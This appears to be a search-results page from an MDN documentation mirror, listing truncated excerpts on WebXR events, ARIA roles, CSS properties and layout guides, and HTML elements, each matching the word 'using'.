primary squeeze actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer.
... after checking to ensure that the received event is a tracked-pointer event (the only kind we handle here), the target ray's pose is obtained using getpose().
...the mybegintracking() function would presumably start the presentation of the object-dragging process, using the transform to perform a hit test, determining which object to pick up.
XRSession: squeezestart event - Web APIs
primary squeeze actions are actions which are meant to represent gripping or squeezing using your hands, and may be simulated using triggers on hand controllers.
... after checking to ensure that the received event is a tracked-pointer event (the only kind we handle here), the target ray's pose is obtained using getpose().
...the mybegintracking() function would presumably start the presentation of the object-dragging process, using the transform to perform a hit test, determining which object to pick up.
XRSystem: requestSession() - Web APIs
immersive-vr indicates that the rendered session will be displayed using an immersive xr device in vr mode; it is not intended to be overlaid or integrated into the surrounding environment.
... xrsession.requestanimationframe(onxranimationframe); }).catch(function(error) { // "immersive-vr" sessions are not supported console.warn("'immersive-vr' isn't supported, or an error occurred activating vr!"); }); verifying webxr support and using a button to start vr mode the following example shows how to use both issessionsupported() and requestsession().
...finally, the onbuttonclicked() method calls requestsession() using the same session option passed to issessionsupported().
XRView.transform - Web APIs
WebAPIXRViewtransform
if you instead need the more traditional view matrix, you can get using view.transform.inverse.matrix; this gets the underlying matrix of the transform's inverse.
...rld.objects) { mat4.multiply(modelviewmatrix, view.transform.inverse.matrix, obj.matrix); mat4.invert(normalmatrix, modelviewmatrix); mat4.transpose(normalmatrix, normalmatrix); obj.render(modelviewmatrix, normalmatrix); } } two matrices are created outside the rendering loop; this avoids repeatedly allocating and deallocating the matrices, and generally reduces overhead by reusing the same matrix for each object rendered.
... for each view, we obtain its viewport and pass that to webgl using gl.viewport().
ARIA guides - Accessibility
a few guidelines to follow that ensure better accessibility, like using drag and drop for placement of the widgets.
... error handling in forms labeling widgets labeling composite widgets and regions managing focus in composite widgets (aria-activedescendant vs roving tabindex) using landmark roles handling dynamic updates & live regions virtual vs.
... non virtual mode in at products using drag & drop notifying users of non-aria screen readers fixing structure with presentation role hiding layout tables managing modal and non modal dialogs using aria with html5 how to test aria aria on mobile devices ...
ARIA: Comment role - Accessibility
the commented section is marked up using <span role="mark">.
... the related comment is marked up using an html structure wrapped with a <div> containing role="comment".
...using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page.
ARIA: figure role - Accessibility
this is wrapped by a <div> element that identifies the content as a figure using role="figure".
... instead of using aria to create a figure, consider using the native, semantic html <figure> element.
... description any content that should be grouped together and consumed as a figure (which could include images, video, audio, code snippets, or other content) can be identified as a figure using role="figure".
ARIA: Main role - Accessibility
developers should always prefer using the correct semantic html element over using aria.
... <main> <h1>active <code>main</code> element</h1> <!-- content --> </main <main hidden> <h1>hidden <code>main</code> element</h1> <!-- content --> </main> best practices prefer html using the <main> element will automatically communicate a section has a role of main.
... if at all possible, prefer using it instead.
ARIA: Suggestion role - Accessibility
using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page.
... best practices prefer html using the <ins> and <del> element will automatically communicate a section has a role of insertion or deletion.
... if at all possible, prefer using the html elements.
ARIA: switch role - Accessibility
associated aria roles, states, and properties aria-checked attribute the aria-checked attribute is required when using the switch role, as it represents the current state of the widget that the switch role is applied to.
... when the aria-checked attribute's value changes, an accessible event is fired using the system's accessibility api if one is available and it supports the switch role.
...text in these elements remains visible to the user agent and may be read or otherwise delivered to the user, unless it's expressly hidden using display: none or aria-hidden="true".
WAI-ARIA Roles - Accessibility
for a full list of roles, see using aria: roles, states, and properties aria: alert rolethe alert role can be used to tell the user an element has been dynamically updated.
...dialogs are generally placed on top of the rest of the page content using an overlay.
...the position of each cell is significant and can be focused using keyboard input.aria: gridcell rolethe gridcell role is used to make a cell in a grid or treegrid.
-moz-context-properties - CSS: Cascading Style Sheets
to do this the embedding element needs to list the properties that are to be made available to the image by listing them as values of the -moz-context-properties property, and the image needs to opt in to using those properties by using values such as the context-fill value.
... formal definition initial valuenoneapplies toany element that can have an image applied to it, for example as a background-image, border-image, or list-style-image.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax none | [ fill | fill-opacity | stroke | stroke-opacity ]# examples exposing fill and stroke to an svg image in this example we have a simple svg embedded using an <img> element.
... you first need to specify on the embedding element the properties whose values you wish to expose to the embedded svg, using the -moz-context-properties property.
::before (:before) - CSS: Cascading Style Sheets
WebCSS::before
examples adding quotation marks one simple example of using ::before pseudo-elements is to provide quotation marks.
... html <span class="ribbon">notice where the orange box is.</span> css .ribbon { background-color: #5bc8f7; } .ribbon::before { content: "look at this orange box."; background-color: #ffba10; border-color: black; border-style: dotted; } result to-do list in this example we will create a simple to-do list using pseudo-elements.
... recommendation initial definition, using the one-colon syntax ...
::placeholder - CSS: Cascading Style Sheets
::placeholder { color: blue; font-size: 1.5em; } only the subset of css properties that apply to the ::first-line pseudo-element can be used in a rule using ::placeholder in its selector.
...most screen reading technology will use aria-describedby to read the hint after the input's label text is announced, and the person using the screen reader can mute it if they find the extra information unnecessary.
...without a label that has been programmatically associated with an input using a combination of the for and id attributes, assistive technology such as screen readers cannot parse <input> elements.
:not() - CSS: Cascading Style Sheets
WebCSS:not
/* selects any element that is not a paragraph */ :not(p) { color: blue; } the :not() pseudo-class has a number of quirks, tricks, and unexpected results that you should be aware of before using it.
...'='<attr-modifier> = i | s description there are several unusual effects and outcomes when using :not() that you should keep in mind when using it: the :not pseudo-class may not be nested, which means that :not(:not(...)) is invalid.
... useless selectors can be written using this pseudo-class.
:visited - CSS: Cascading Style Sheets
WebCSS:visited
for privacy reasons, the styles that can be modified using this selector are very limited.
... styling restrictions for privacy reasons, browsers strictly limit which styles you can apply using this pseudo-class, and how they can be used: allowable css properties are color, background-color, border-color, border-bottom-color, border-left-color, border-right-color, border-top-color, column-rule-color, outline-color, text-decoration-color, and text-emphasis-color.
...atched <link> elements with link pseudo-classes.safari ios full support 12samsung internet android full support 1.0notes full support 1.0notes notes chromium has never matched <link> elements with link pseudo-classes.restrict css properties allowed in a statement using :visited for privacychrome full support 6edge full support 12firefox full support 4ie full support 8opera full support 15safari full support ...
system - CSS: Cascading Style Sheets
if the algorithm specified in the system descriptor is unable to construct the representation for a particular counter value, then that value's representation will be constructed using the fallback system provided.
...if a counter style rule is using the extends system, any unspecified descriptors, and their values will be taken from the extended counter style specified.
... css <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> <li>six</li> <li>seven</li> <li>eight</li> <li>nine</li> <li>ten</li> </ul> @counter-style numbers { system: numeric; symbols: 0 1 2 3 4 5 6 7 8 9; suffix: ": "; } ul { list-style: numbers; } result additive counter this example renders a list using roman numerals.
Coordinate systems - CSS: Cascading Style Sheets
when drawing 3d graphics, or using a third dimension to layer objects from front to back, the z-coordinate is also used.
... it's actually possible to change the definitions and orientations of these coordinate systems using css properties such as transform.
... offset coordinates specified using the "offset" model use the top-left corner of the element being examined, or on which an event has occurred.
CSS Containment - CSS: Cascading Style Sheets
by using contain: layout you can tell the browser it only needs to check this element — everything inside the element is scoped to that element and does not affect the rest of the page, and the containing box establishes an independent formatting context.
... using contain: style would ensure that the counter-increment and counter-set properties created new counters scoped to that subtree only.
...using contain: content turns on layout and paint containment.
Backwards Compatibility of Flexbox - CSS: Cascading Style Sheets
you'll see white space added between the items, which is what happens when using display: inine-block as it prefers white space like other inline items.
...the following feature query would include uc browser, which supports feature queries and old flexbox syntax, prefixed: @supports (display: flex) or (display: -webkit-box) { // code for supporting browsers } for more information about using feature queries see using feature queries in css on the mozilla hacks blog.
... conclusion while i’ve spent some time in this guide going through potential issues and fallbacks, flexbox is very much ready for you to be using in production work.
Mastering Wrapping of Flex Items - CSS: Cascading Style Sheets
here i have set flex-grow and flex-shrink to 0 to make inflexible flex items and am then controlling flexibility using percentages, just like we used to do in float layouts.
...flex line wrapping is re-done after collapsing, however, so the cross-size of a flex container with multiple lines might or might not change.” - collapsed items this behaviour is useful if you want to target flex items using javascript to show and hide content for example.
...using visibility: hidden keeps the box in the formatting structure which is useful in that it still behaves as if it were part of the layout even though the user can’t see it.
Flow Layout and Overflow - CSS: Cascading Style Sheets
using a value of scroll contains the content in its box and add scrollbars to enable viewing it.
... using a value of auto will display the content with no scrollbars if the content fits inside the box.
... as we have already learned, using any of these values, other than the default of visible, will create a new block formatting context.
In Flow and Out of Flow - CSS: Cascading Style Sheets
all elements that are in flow, will be laid out using this method.
...the list is displayed using flexbox to arrange the items into a row, however it too is participating in block and inline layout - the container has an outside display type of block.
... using position: fixed also removes the item from flow, however the offsets are based on the viewport rather than the containing block.
Introduction to formatting contexts - CSS: Cascading Style Sheets
a new bfc is created in the following situations: elements made to float using float absolutely positioned elements (including position: fixed or position: sticky) elements with display: inline-block table cells or elements with display: table-cell, including anonymous table cells created when using the display: table-* properties table captions or elements with display: table-caption block elements where overflow has a value other than visible elements with display: ...
... the problem with using overflow to create a new bfc is that the overflow property is meant for telling the browser how you wish to deal with overflowing content.
... explicitly creating a bfc using display: flow-root using display: flow-root (or display: flow-root list-item) on the containing block will create a new bfc without any other potentially problematic side-effects.
Logical properties for floating and positioning - CSS: Cascading Style Sheets
in the below example i have used the inset-block-start and inset-inline-end properties to position the blue box using absolute positioning inside the area with the grey dotted border, which has position: relative.
... example: logical values for text-align the text-align property has logical values that relate to text direction — rather than using left and right we can use start and end.
... this works in a more consistent way when using box alignment that uses start and end rather than physical directions for alignment.
Introducing the CSS Cascade - CSS: Cascading Style Sheets
WebCSSCascade
the author of the page defines the styles for the document using one or more stylesheets, which define the look and feel of the website — its theme.
... user stylesheets the user (or reader) of the web site can choose to override styles in many browsers using a custom user stylesheet designed to tailor the experience to the user's wishes.
... css animations and the cascade css animations, using @keyframes at-rules, define animations between states.
Breadcrumb Navigation - CSS: Cascading Style Sheets
this could also be achieved using one selector only: .breadcrumb li:not(:first-child)::before { content: "→"; } this solution uses a more complex selector, but requires less rules.
... choices made this pattern is laid out using a simple flex layout demonstrating how a line of css can give us our navigation.
... the separators are added using css generated content.
Grid wrapper - CSS: Cascading Style Sheets
using a numeric unit (pixels, ems, rems) will create a fixed maximum size for the central wrapper, whereas using percentage values or viewport units will mean this wrapper grows or shrinks in response to its context.
... useful fallbacks or alternative methods when using this recipe at page level it can be useful to set a max-width along with left and right auto margins to center the content horizontally: .grid { max-width: 1200px; margin: 0 auto; // horizontally centers the container } /* remove the max-width and margins if the browser supports grid */ @supports (display: grid) { .grid { display: grid; /* other grid code goes here */ max-width: none; margin: 0; } } to “break out” a full-width item to the edge of the viewport you can then use this trick (courtesy of una kravets): .item { width: 100vw; margin-left: 50%; transfo...
... accessibility concerns although grid enables us to position items anwhere (within reason), it is important when placing items using css grid that your underlying markup follows a logical order (see css grid layout and accessibility for more details).
Sticky footers - CSS: Cascading Style Sheets
the recipe download this example note: in this example and the following one we are using a wrapper set to min-height: 100% in order that our live example works.
... you could also achieve this for a full page by setting a min-height of 100vh on the <body> and then using it as your grid container.
... choices made in the above example we achieve the sticky footer using css grid layout.
Media queries - CSS: Cascading Style Sheets
you can learn more about programmatically using media queries in testing media queries.
... reference at-rules @import @media guides using media queries introduces media queries, their syntax, and the operators and media features which are used to construct media query expressions.
... using media queries for accessibility learn how media queries can help users understand your website better.
Privacy and the :visited selector - CSS: Cascading Style Sheets
in rare scenarios, if you're using nested link elements and the element being matched is different from the link whose presence in history is being tested, the element will be rendered as if the link were unvisited, as well.
...only the following styles can be applied to visited links: color background-color border-color (and its sub-properties) column-rule-color outline-color the color parts of the fill and stroke attributes in addition, even for the above styles, you won't be able to change the transparency between unvisited and visited links, as you otherwise would be able to using rgba(), hsla(), or the transparent keyword.
...they may, however, require the following changes to existing sites: using background images to style links based on whether they've been visited will no longer work, since only colors can be used to style visited links.
Replaced elements - CSS: Cascading Style Sheets
the position of the replaced element can be affected using css, but not the contents of the replaced element itself.
... objects inserted using the css content property are anonymous replaced elements.
... using css with replaced elements css handles replaced elements specifically in some cases, like when calculating margins and some auto values.
Selector list - CSS: Cascading Style Sheets
syntax element, element, element { style properties } examples single line grouping grouping selectors in a single line using a comma-separated lists.
... h1, h2, h3, h4, h5, h6 { font-family: helvetica; } multi line grouping grouping selectors in a multiple lines using a comma-separated lists.
... #main, .content, article { font-size: 1.1em; } selector list invalidation a downside to using selector lists is that the following aren't equivalent: h1 { font-family: sans-serif } h2:maybe-unsupported { font-family: sans-serif } h3 { font-family: sans-serif } h1, h2:maybe-unsupported, h3 { font-family: sans-serif } this is because a single unsupported selector in a selector list invalidates the whole rule.
border-color - CSS: Cascading Style Sheets
each side can be set individually using border-top-color, border-right-color, border-bottom-color, and border-left-color; or using the writing mode-aware border-block-start-color, border-block-end-color, border-inline-start-color, and border-inline-end-color.
... you can find more information about border colors in borders in applying color to html elements using css.
...rder-top-color syntax /* <color> values */ border-color: red; /* horizontal | vertical */ border-color: red #f015ca; /* top | vertical | bottom */ border-color: red rgb(240,30,50,.7) green; /* top | right | bottom | left */ border-color: red yellow green blue; /* global values */ border-color: inherit; border-color: initial; border-color: unset; the border-color property may be specified using one, two, three, or four values.
conic-gradient() - CSS: Cascading Style Sheets
<position> using the same length, order and keyterm values as the background-position property, the position defines center of the gradient.
...a color-stop's position can be explicitly defined by using an <angle>.
...v { background: conic-gradient( red 36deg, orange 36deg 170deg, yellow 170deg); border-radius: 50% } checkerboard div { width: 100px; height: 100px; } <div></div> div { background: conic-gradient(#fff 0.25turn, #000 0.25turn 0.5turn, #fff 0.5turn 0.75turn, #000 0.75turn) top left / 25% 25% repeat; border: 1px solid; } more conic-gradient examples please see using css gradients for more examples.
<easing-function> - CSS: Cascading Style Sheets
the value of an <easing-function> type describes the easing function using one of those three types.
... examples easing function comparison this example creates an animation that can be started and stopped again using the provided button, and a select menu that can be used to switch its easing function between the available keywords, plus a couple of cubic-bezier() and steps() options.
...*/ cubic-bezier(0.1, 0.7, 1.0, 0.1) /* using <integer> is valid as any <integer> is also a <number>.
font-language-override - CSS: Cascading Style Sheets
for example, a lot of fonts have a special character for the digraph fi that merge the dot on the "i" with the "f." however, if the language is set to turkish the typeface will likely know not to use the merged glyph; turkish has two versions of the "i," one with a dot (i) and one without (ı), and using the ligature would incorrectly transform a dotted "i" into a dotless "i." the font-language-override property lets you override the typeface behavior for a specific language.
... this is useful, for example, when the typeface you're using lacks proper support for the language.
...it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | <string> examples using danish glyphs html <p class="para1">default language setting.</p> <p class="para2">this is a string with the <code>font-language-override</code> set to danish.</p> css p.para1 { font-language-override: normal; } p.para2 { font-language-override: "dan"; } result specifications specification status comment css fonts module level 4the definition of 'font-la...
font-variant-position - CSS: Cascading Style Sheets
lues */ font-variant-position: normal; font-variant-position: sub; font-variant-position: super; /* global values */ font-variant-position: inherit; font-variant-position: initial; font-variant-position: unset; when the usage of these alternate glyphs is activated, if one character in the run doesn't have such a typographically-enhanced glyph, the whole set of characters of the run is rendered using a fallback method, synthesizing these glyphs.
...if, in a given run, one such glyph is not available for a character, all the characters in the run are rendered using synthesized glyphs.
...if, in a given run, one such glyph is not available for a character, all the characters in the run are rendered using synthesized glyphs.
font-variation-settings - CSS: Cascading Style Sheets
syntax /* use the default settings */ font-variation-settings: normal; /* set values for variable font axis names */ font-variation-settings: "xhgt" 0.7; /* global values */ font-variation-settings: inherit; font-variation-settings: initial; font-variation-settings: unset; values this property's value can take one of two forms: normal text is laid out using default settings.
... font characteristics set using font-variation-settings will always override those set using the corresponding basic font properties, e.g.
... note: registered axis tags are identified using lower-case tags, whereas custom axes should be given upper-case tags.
font-weight - CSS: Cascading Style Sheets
lative to the parent */ font-weight: lighter; font-weight: bolder; /* numeric keyword values */ font-weight: 100; font-weight: 200; font-weight: 300; font-weight: 400;// normal font-weight: 500; font-weight: 600; font-weight: 700;// bold font-weight: 800; font-weight: 900; /* global values */ font-weight: inherit; font-weight: initial; font-weight: unset; the font-weight property is specified using any one of the values listed below.
...451) will be translated to one of these values for non-variable fonts using the fallback weights system.
... note that when using relative weights, only four font weights are considered — thin (100), normal (400), bold (700), and heavy (900).
mask-size - CSS: Cascading Style Sheets
WebCSSmask-size
a <bg-size> can be specified in one of three ways: using the keyword contain using the keyword cover using width and height values to specify a size using width and height, you can supply one or two values: if only one value is given it sets the width, with the height set to auto.
...if the image has one intrinsic dimension but no proportion, it's rendered using the intrinsic dimension and the corresponding dimension of the mask positioning area.
... if mask-size has one auto component and one non-auto component: if the image has an intrinsic proportion, then render it using the specified dimension and compute the other dimension from the specified dimension and the intrinsic proportion.
max() - CSS: Cascading Style Sheets
WebCSSmax
the expressions can be math expressions (using arithmetic operators), literal values, or other expressions, such as attr(), that evaluate to a valid argument type (like <length>), or nested min() and max() functions.
...the expressions are full math expressions, so you can use direct addition, subtraction, multiplication and division without using the calc() function itself.
... the expression can be values combining the addition ( + ), subtraction ( - ), multiplication ( * ) and division ( / ) operators, using standard operator precedence rules.
Guide to scroll anchoring - CSS: Cascading Style Sheets
if it does, you can check what node is firefox using as the anchor using the layout.css.scroll-anchoring.highlight switch.
... if one node doesn't seem appropriate to be an anchor, you can exclude it using overflow-anchor, as described below.
... in bug 1584285 the layout.css.scroll-anchoring.suppressions.enabled flag was added to firefox nightly in order to allow the disabling of these triggers further reading explainer document on the wicg site scroll anchoring for web developers on the chromium blog implement a pin-to-bottom scrolling element using scroll anchoring ...
repeating-conic-gradient() - CSS: Cascading Style Sheets
<position> using the same length, order and keyterm values as the background-position property, the position defines center of the gradient.
...a color-stop's position can be explicitly defined by using an <angle>.
... div { width: 200px; height: 200px; } <div></div> div { background: repeating-conic-gradient( from 3deg at 25% 25%, green, blue 2deg 5deg, green, yellow 15deg 18deg, green 20deg); } more repeating-conic-gradient examples please see using css gradients for more examples.
text-align - CSS: Cascading Style Sheets
tart; text-align: end; text-align: match-parent; /* character-based alignment in a table column */ text-align: "."; text-align: "." center; /* block alignment values (non-standard syntax) */ text-align: -moz-center; text-align: -webkit-center; /* global values */ text-align: inherit; text-align: initial; text-align: unset; the text-align property is specified in one of the following ways: using the keyword values start, end, left, right, center, justify, justify-all, or match-parent.
... using a <string> value only, in which case the other value defaults to right.
... using both a keyword value and a <string> value.
text-underline-position - CSS: Cascading Style Sheets
the text-underline-position css property specifies the position of the underline which is set using the text-decoration property's underline value.
...when used with east-asian text, using the auto keyword will lead to a similar effect.
...when used with alphabetic text, using the auto keyword will lead to a similar effect.
Video player styling basics - Developer guides
in the previous cross browser video player article we described how to build a cross-browser html5 video player using the media and fullscreen apis.
... javascript as mentioned above, a data-state attribute is used in various places for styling purposes and these are set using javascript.
...each image was then converted to a base64 encoded string (using an online base64 image encoder), since the images are quite small, the resultant encoded strings are quite short.
Event developer guide - Developer guides
WebGuideEvents
two common styles are: the generalized addeventlistener() and a set of specific on-event handlers.media eventsvarious events are sent when handling media that are embedded in html documents using the <audio> and <video> elements; this section lists them and provides some helpful information about using them.mouse gesture eventsgecko 1.9.1 added support for several mozilla-specific dom events used to handle mouse gestures.
... orientation and motion data explainedwhen using orientation and motion events, it's important to understand what the values you're given by the browser mean.
...you should instead use the standard touch events api, supported since gecko/firefox 6 with multi-touch support added in gecko/firefox 12.using device orientation with 3d transformsthis article provides tips on how to use device orientation information in tandem with css 3d transforms.
Graphics on the Web - Developer guides
static images can easily be displayed using the <img> element, or by setting the background of html elements using the background-image property.
... 2d graphics canvas the <canvas> element provides apis to draw 2d graphics using javascript.
... video using html5 audio and video embedding video and/or audio in a web page and controlling its playback.
Rich-Text Editing in Mozilla - Developer guides
when using contenteditable, calling execcommand will affect the currently active editable element.
...the function executed the requested command using execcommand() and then sets focus back to the editable document, as clicking on a button will set focus on the button itself, which breaks the editing flow.
... resources mozilla.org's rich-text editing specification mozilla.org's rich-text editing demo converting an app using document.designmode from ie to mozilla at mozilla.org designmode msdn: how to create an html editor application a closed source, cross-browser rich-text editing demo xbdesignmode; a javascript helper class for easier cross-browser development using designmode.
Making content editable - Developer guides
by using some javascript event handlers, you can transform your web page into a full and fast rich text editor.
...when using contenteditable, calling execcommand() will affect the currently active editable element.
...you can enable them by setting the preferences shown below using about:config: user_pref("capability.policy.policynames", "allowclipboard"); user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org"); user_pref("capability.policy.allowclipboard.clipboard.cutcopy", "allaccess"); user_pref("capability.policy.allowclipboard.clipboard.paste", "allaccess"); example: a simple but complete rich text editor <!doctype html> <html> <head> <title>r...
HTML5 Parser - Developer guides
WebGuideHTMLHTML5HTML5 Parser
some contexts from which you should not call document.write() include: scripts created using document.createelement() event handlers settimeout() setinterval() <script async src="..."> <script defer src="..."> if you use the same mechanism for loading script libraries for all browsers including ie, then your code probably will not be affected by this change.
...you can avoid such problems by using the character code for the initial '<' instead.
... the dom methods and css selectors behave case-sensitively, so you need to write your dom calls and css selectors using the canonical case, which is camelcase for various parts of svg such as viewbox.
Localizations and character encodings - Developer guides
to specify that a page is using, for example, the utf-8 character encoding (as per the recommendation), simply place the following line in the <head> block: <meta charset="utf-8"> details and browser internals when the encoding is declared by web content like the html specification requires, firefox will use that encoding for turning the bytes into the internal representation.
... unfortunately, using utf-8 and declaring that utf-8 was used was not always the prevalent way of offering web content.
...in these locales, legacy content that doesn't declare its encoding is typically encoded using a legacy encoding other than windows-1252.
Separate sites for mobile and desktop - Developer guides
conceptually simple, this is the easiest option to add to an existing site, especially if you are using a cms or web application that supports templates.
...if you are using a cms, it is possible to arrange your site templates in a way that minimizes this duplication.
...if the functionality you would like to provide to your users on mobile devices is extremely different from that on a desktop, then using separate sites is simply likely to be the most practical choice.
Printing - Developer guides
using a print style sheet add the following to your <head> tag.
... <link href="/path/to/print.css" media="print" rel="stylesheet" /> using media queries to improve layout detecting print requests some browsers (including firefox 6 and later and internet explorer) send beforeprint and afterprint events to let content determine when printing may have occurred.
... note: you can also use window.onbeforeprint and window.onafterprint to assign handlers for these events, but using eventtarget.addeventlistener() is preferred.
The Unicode Bidirectional Text Algorithm - Developer guides
in this guide, we'll take a look at the bidi algorithm and learn in general what it does and how it applies to your content, so that you'll be better prepared when using the features of html and css to which the algorithm applies while determining the order and directionality of text during rendering.
... fundamentals (base direction, character types, etc) the algorithm character level directionality directional runs (what they are, how base direction applies) handling neutral characters overriding the algorithm content about using html and css to override the default behavior of the algorithm; include info about isolating ranges etc.
... overiding bidi using unicode control characters unicode provides a number of special control characters that make it possible to control directionality of ranges of text.
DASH Adaptive Streaming for HTML 5 Video - HTML: Hypertext Markup Language
using dash - server side first you'll need to convert your webm video to a dash manifest with the accompanying video files in various bit rates.
... for example: the file in.video can be any container with at least one audio and one video stream that can be decoded by ffmpeg, create the audio using: ffmpeg -i in.video -vn -acodec libvorbis -ab 128k -dash 1 my_audio.webm create each video variant.
... using dash - client side you'll want to modify your web page to point to the dash manifest first, instead of directly to a particular video file: <video> <source src="movie.mpd"> <source src="movie.webm"> your browser does not support the video tag.
<big>: The Bigger Text element - HTML: Hypertext Markup Language
WebHTMLElementbig
examples here we see examples showing the use of <big> followed by an example showing how to accomplish the same results using modern css syntax instead.
... using <big> this example uses the obsolete <big> element to increase the size of some text.
...<big>this whole sentence is in bigger letters.</big> </p> result using css font-size this example uses the css font-size property to increase the font size by one level.
<button>: The Button element - HTML: Hypertext Markup Language
WebHTMLElementbutton
this helps a variety of people, including people with motor control issues and people using non-precise forms of input such as a stylus or fingers.
... spacing may be created using css properties such as margin.
...this border is declared through css in the browser stylesheet, but you can override it to add your own focused style using button::-moz-focus-inner { }.
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
WebHTMLElementcanvas
sizing the canvas using css versus html the displayed size of the canvas can be changed using css, but if you do this the image is scaled during rendering to fit the styled size, which can make the final graphics rendering end up being distorted.
... it is better to specify your canvas dimensions by setting the width and height attributes directly on the <canvas> elements, either directly in the html or by using javascript.
...in general, you should avoid using canvas in an accessible website or app.
<details>: The Details disclosure element - HTML: Hypertext Markup Language
WebHTMLElementdetails
a summary or label can be provided using the <summary> element.
... a disclosure widget is typically presented onscreen using a small triangle which rotates (or twists) to indicate open/closed status, with a label next to the triangle.
...here's what your browser does with it: providing a summary this example adds a summary to the above example by using the <summary> element inside <details>, like this: <details> <summary>system requirements</summary> <p>requires a computer running an operating system.
<div>: The Content Division element - HTML: Hypertext Markup Language
WebHTMLElementdiv
it has no effect on the content or layout until styled using css.
...instead, it's used to group content so it can be easily styled using the class or id attributes, marking a section of a document as being written in a different language (using the lang attribute), and so on.
...you name it!</p> </div> the result looks like this: a styled example this example creates a shadowed box by applying a style to the <div> using css.
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
WebHTMLElementiframe
notes about sandboxing: when the embedded document has the same origin as the embedding page, it is strongly discouraged to use both allow-scripts and allow-same-origin, as that lets the embedded document remove the sandbox attribute — making it no more secure than not using the sandbox attribute at all.
...cross-origin communication can be achieved using window.postmessage().
...this context shift can be confusing and time-consuming, especially for pages with multiple <iframe>s and/or if embeds contain interactive content like video or audio.
<input type="color"> - HTML: Hypertext Markup Language
WebHTMLElementinputcolor
<input> elements of type color provide a user interface element that lets a user specify a color, either by using a visual color picker interface or by entering the color into a text field in #rrggbb hexadecimal format.
... using color inputs inputs of type color are simple, due to the limited number of attributes they support.
...we handle that event using the updateall() function, using event.target.value to obtain the final selected color: function updateall(event) { document.queryselectorall("p").foreach(function(p) { p.style.color = event.target.value; }); } this sets the color of every <p> block so that its color attribute matches the current value of the color input, which is referred to using event.target.
<input type="reset"> - HTML: Hypertext Markup Language
WebHTMLElementinputreset
<input type="reset" value="reset the form"> if you don't specify a value, you get an button with the default label (typically "reset," but this will vary depending on the user agent): <input type="reset"> using reset buttons <input type="reset"> buttons are used to reset forms.
... if you want to create a custom button and then customize the behaviour using javascript, you need to use <input type="button">, or better still, a <button> element.
...adding a tooltip to the button (using the title attribute) can also help, although it's not a complete solution for accessibility purposes.
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
WebHTMLElementkbd
by convention, the user agent defaults to rendering the contents of a <kbd> element using its default monospace font, although this is not mandated by the html standard.
... html <p>you can also create a new document using the keyboard shortcut <kbd><kbd>ctrl</kbd>+<kbd>n</kbd></kbd>.</p> this wraps the entire key sequence in an outer <kbd> element, then each individual key within its own, in order to denote the components of the sequence.
... for example, you can explain how to choose the "new document" option in the "file" menu using html that looks like this: <p>to create a new file, choose the menu option <kbd><kbd><samp>file</samp></kbd>⇒<kbd><samp>new document</samp></kbd></kbd>.</p> <p>don't forget to click the <kbd><samp>ok</samp></kbd> button to confirm once you've entered the name of the new file.</p> this does some interesting nesting.
<mark>: The Mark Text element - HTML: Hypertext Markup Language
WebHTMLElementmark
think of this like using a highlighter pen in a book to mark passages that you find of interest.
...</blockquote> the resulting output looks like this: identifying context-sensitive passages this example demonstrates using <mark> to mark search results within a passage.
...it can be made to be announced by using the css content property, along with the ::before and ::after pseudo-elements.
<pre>: The Preformatted Text element - HTML: Hypertext Markup Language
WebHTMLElementpre
the text is typically rendered using a non-proportional ("monospace") font.
... example html <p>using css to change the font color is easy.</p> <pre> body { color: red; } </pre> result accessibility concerns it is important to provide an alternate description for any images or diagrams created using preformatted text.
...> --------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || </pre> <figcaption id="cow-caption"> a cow saying, "i'm an expert in my field." the cow is illustrated using preformatted text characters.
<strong>: The Strong Importance element - HTML: Hypertext Markup Language
WebHTMLElementstrong
typically this element is rendered by default using a bold font weight.
...<strong> it is often confusing to new developers why there are so many ways to express the same thing on a rendered website.
... <b> and <strong> are perhaps one of the most common sources of confusion, causing developers to ask "should i use <b> or <strong>?
<tbody>: The Table Body element - HTML: Hypertext Markup Language
WebHTMLElementtbody
table { border: 2px solid #555; border-collapse: collapse; font: 16px "lucida grande", "helvetica", "arial", sans-serif; } first, the table's overall style attributes are set, configuring the thickness, style, and color of the table's exterior borders and using border-collapse to ensure that the border lines are shared among adjacent cells rather than each having its own borders with space in between.
...the cells are given a light gray outline which is a single pixel thick, padding is adjusted, and all cells are left-aligned using text-align thead > tr > th { background-color: #cce; font-size: 18px; border-bottom: 2px solid #999; } finally, header cells contained within the <thead> block are given additional styling.
... result the resulting table looks like this: multiple bodies you can create multiple sections within a table by using multiple <tbody> elements.
contextmenu - HTML: Hypertext Markup Language
example html <body contextmenu="share"> <menu type="context" id="share"> <menu label="share"> <menuitem label="twitter" onclick="shareviatwitter()"></menuitem> <menuitem label="facebook" onclick="shareviafacebook()"></menuitem> </menu> </menu> <ol> <li> anywhere in the example you can share the page on twitter and facebook using the share menu from your context menu.
... </li> <li contextmenu="changefont" id="fontsizing"> on this specific list element, you can change the size of the text by using the "increase/decrease font" actions from your context menu </li> <menu type="context" id="changefont"> <menuitem label="increase font" onclick="incfont()"></menuitem> <menuitem label="decrease font" onclick="decfont()"></menuitem> </menu> <li contextmenu="changeimage" id="changeimage"> on the image below, you can fire the "change image" action in your context menu.<br /> <img src="https://udn.realityripple.com/samples/a2/b601bdfc0c.png" contextmenu="changeimage" id="promobutton" /> <menu type="context" id="changeimage"> <menuitem label="change image" onclick="changeimage()"></me...
...i am learning contextmenu from mdn via mozilla"); } function shareviafacebook() { window.open("https://facebook.com/sharer/sharer.php?u=" + "https://developer.mozilla.org/en/html/element/using_html_context_menus"); } function incfont() { document.getelementbyid("fontsizing").style.fontsize = "larger"; } function decfont() { document.getelementbyid("fontsizing").style.fontsize = "smaller"; } function changeimage() { var index = math.ceil(math.random() * 39 + 1); document.images[0].src = "https://developer.mozilla.org/media/img/promote/promobutton_mdn" + index + ".png"; } result specifications ...
itemprop - HTML: Hypertext Markup Language
when a string value is a url, it is expressed using the <a> element and its href attribute, the <img> element and its src attribute, or other elements that link to or embed external resources.
